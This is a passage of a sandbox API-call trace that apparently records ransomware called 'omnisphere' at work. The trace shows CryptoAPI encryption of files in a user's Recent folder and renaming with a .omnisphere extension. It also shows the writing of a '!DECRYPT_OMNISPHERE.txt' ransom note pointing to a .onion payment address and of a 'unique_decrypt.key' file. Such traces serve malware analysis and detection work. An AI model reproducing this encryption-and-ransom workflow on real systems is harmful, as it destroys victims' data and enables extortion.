dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.624] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.625] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.625] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.625] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.625] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.625] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.625] CryptDestroyKey (hKey=0x16396e8) returned 1 [0126.625] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0126.625] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2d2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.625] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.629] GetProcessHeap () returned 0x1600000 [0126.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16d65d0 [0126.629] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgt_k.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgt_k.lnk.omnisphere")) returned 1 [0126.629] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk.omnisphere.id" [0126.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgt_k.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.630] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.631] CloseHandle (hObject=0x3c0) returned 1 [0126.631] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.631] CloseHandle (hObject=0x288) returned 1 [0126.631] SetEndOfFile (hFile=0x28c) returned 1 [0126.631] FlushFileBuffers (hFile=0x28c) returned 1 [0126.634] CloseHandle (hObject=0x28c) returned 1 [0126.634] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Mgt_K.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.634] GetProcessHeap () returned 0x1600000 [0126.634] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16da838 [0126.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.634] GetProcessHeap () returned 0x1600000 [0126.634] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5708 [0126.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5708, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.634] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.634] GetProcessHeap () returned 0x1600000 [0126.634] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8048 [0126.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8048, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.634] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.635] GetProcessHeap () returned 0x1600000 [0126.635] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8590 [0126.635] PathCombineW (in: pszDest=0x16d8590, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.635] GetProcessHeap () returned 0x1600000 [0126.635] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ded20 [0126.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.636] WriteFile (in: hFile=0x28c, lpBuffer=0x16ded20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ded20*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.636] CloseHandle (hObject=0x28c) returned 1 [0126.636] GetProcessHeap () returned 0x1600000 [0126.636] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16da838 | out: hHeap=0x1600000) returned 1 [0126.636] GetProcessHeap () returned 0x1600000 [0126.636] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.636] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.637] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.637] CloseHandle (hObject=0x28c) returned 1 [0126.637] GetProcessHeap () returned 0x1600000 [0126.637] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.637] GetProcessHeap () returned 0x1600000 [0126.637] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bb28 | out: hHeap=0x1600000) returned 1 [0126.637] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fdc3cf9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fdc3cf9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1fdc3cf9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0xd3, cFileName="MVw.lnk", cAlternateFileName="")) returned 1 [0126.637] GetProcessHeap () returned 0x1600000 [0126.637] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x90) returned 0x16b0ee8 [0126.637] PathCombineW (in: pszDest=0x16b0ee8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="MVw.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk" [0126.637] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mvw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.637] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=607) returned 1 [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] GetTickCount () returned 0x115f99f [0126.638] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0126.639] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639568) returned 1 [0126.639] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.639] CryptDestroyKey (hKey=0x1639568) returned 1 [0126.639] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.639] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25f, lpName=0x0) returned 0x288 [0126.640] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25f) returned 0x1480000 [0126.640] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16681b8) returned 1 [0126.640] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0126.640] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.640] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.640] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.640] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.640] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.640] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.641] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.642] CryptDestroyKey (hKey=0x16394e8) returned 1 [0126.642] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0126.642] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x25f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.642] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: 